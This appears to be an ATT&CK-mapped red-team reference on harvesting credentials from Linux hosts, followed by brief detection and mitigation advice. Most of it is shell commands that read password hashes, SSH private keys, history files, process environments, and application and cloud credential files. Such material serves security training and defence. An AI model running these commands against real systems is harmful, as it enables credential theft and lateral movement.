Linux Credential Harvesting

Overview

Linux stores credentials in predictable locations — /etc/shadow for system passwords, SSH keys in ~/.ssh/, application configs, history files, and environment variables. After gaining elevated access, harvest all available credentials to enable lateral movement. Even low-privileged users can often find credentials in application configs, history files, and key material.

ATT&CK Mapping

  • Tactic: TA0006 - Credential Access
  • Technique: T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow
  • Technique: T1552.001 - Unsecured Credentials: Credentials In Files
  • Technique: T1552.003 - Unsecured Credentials: Bash History

Prerequisites

  • Shell access on the target Linux system
  • Root access for /etc/shadow and some credential stores

Techniques

System Password Hashes

# /etc/shadow (requires root)
cat /etc/shadow

# Hash format: $id$salt$hash
# $1$  = MD5
# $5$  = SHA-256
# $6$  = SHA-512 (most common on modern systems)
# $y$  = yescrypt (newer systems)

# Extract usernames and hashes for cracking
# Combine passwd and shadow for john/hashcat
unshadow /etc/passwd /etc/shadow > unshadowed.txt

SSH Keys

# Current user's SSH keys
ls -la ~/.ssh/
cat ~/.ssh/id_rsa 2>/dev/null
cat ~/.ssh/id_ed25519 2>/dev/null
cat ~/.ssh/authorized_keys 2>/dev/null
cat ~/.ssh/known_hosts 2>/dev/null

# All users' SSH keys (requires root)
find /home/ -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" 2>/dev/null
find /root/.ssh/ -type f 2>/dev/null

# SSH agent — check for loaded keys
ssh-add -l 2>/dev/null

# SSH config may reveal hostnames, users, key paths
cat ~/.ssh/config 2>/dev/null

History Files

# Bash/Zsh history (may contain passwords in commands)
cat ~/.bash_history 2>/dev/null
cat ~/.zsh_history 2>/dev/null

# Search history for credentials
grep -iE 'pass|pwd|secret|token|key|credential|mysql|ssh|ftp|scp' ~/.bash_history 2>/dev/null
grep -iE 'pass|pwd|secret|token|key|credential|mysql|ssh|ftp|scp' ~/.zsh_history 2>/dev/null

# MySQL/PostgreSQL history
cat ~/.mysql_history 2>/dev/null
cat ~/.psql_history 2>/dev/null

# All users (requires root)
find /home/ -name ".*history" -exec cat {} \; 2>/dev/null

Application Credentials

# Web application config files
cat /var/www/html/wp-config.php 2>/dev/null        # WordPress
cat /var/www/html/.env 2>/dev/null                  # Laravel, Django, etc.
cat /var/www/html/config.php 2>/dev/null
cat /var/www/html/configuration.php 2>/dev/null     # Joomla
cat /var/www/html/sites/default/settings.php 2>/dev/null  # Drupal

# Search recursively for passwords in web directories
grep -rl "password\|passwd\|db_pass\|DB_PASSWORD" /var/www/ 2>/dev/null

# Database configuration
cat /etc/mysql/debian.cnf 2>/dev/null               # MySQL root credentials on Debian
cat /etc/my.cnf 2>/dev/null
cat ~/.my.cnf 2>/dev/null                           # Per-user MySQL config

# Service credentials
cat /etc/openvpn/*.conf 2>/dev/null
cat /etc/samba/smb.conf 2>/dev/null

# Docker/container secrets
cat /run/secrets/* 2>/dev/null
find / -name "docker-compose.yml" -exec grep -l "password\|secret" {} \; 2>/dev/null

Environment Variables

# Current environment
env | grep -iE 'pass|pwd|secret|token|key|api|credential'

# Process environment (requires root or same user)
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'pass|pwd|secret|token|key'

Kerberos Tickets

# Check for Kerberos ticket cache
ls -la /tmp/krb5cc_* 2>/dev/null
klist 2>/dev/null

# Keytab files
find / -name "*.keytab" 2>/dev/null

Credential Files

# Generic credential search
find / -name "*.conf" -o -name "*.config" -o -name "*.cfg" -o -name "*.ini" -o -name "*.env" 2>/dev/null | xargs grep -liE 'password|passwd|credential|secret' 2>/dev/null

# GPG keys
ls -la ~/.gnupg/ 2>/dev/null

# AWS credentials
cat ~/.aws/credentials 2>/dev/null
cat ~/.aws/config 2>/dev/null

# Azure credentials
cat ~/.azure/accessTokens.json 2>/dev/null

# GCP credentials
cat ~/.config/gcloud/credentials.db 2>/dev/null
cat ~/.config/gcloud/application_default_credentials.json 2>/dev/null

# Git credentials
cat ~/.git-credentials 2>/dev/null
git config --list 2>/dev/null | grep credential

Detection Methods

Host-Based Detection

  • Monitor access to /etc/shadow by non-root processes
  • Alert on mass reading of history files across multiple users
  • Monitor unshadow command execution
  • File integrity monitoring on SSH key directories

Mitigation Strategies

  • Restrict /etc/shadow permissions — ensure only root can read (mode 640 with shadow group)
  • Clear history files — configure HISTFILESIZE=0 or use history -c for sensitive operations
  • Use credential managers — avoid storing passwords in plaintext config files
  • Rotate SSH keys — periodically rotate and audit authorized_keys files
  • Encrypt sensitive configs — use vault solutions (HashiCorp Vault, Ansible Vault) for application credentials

References

MITRE ATT&CK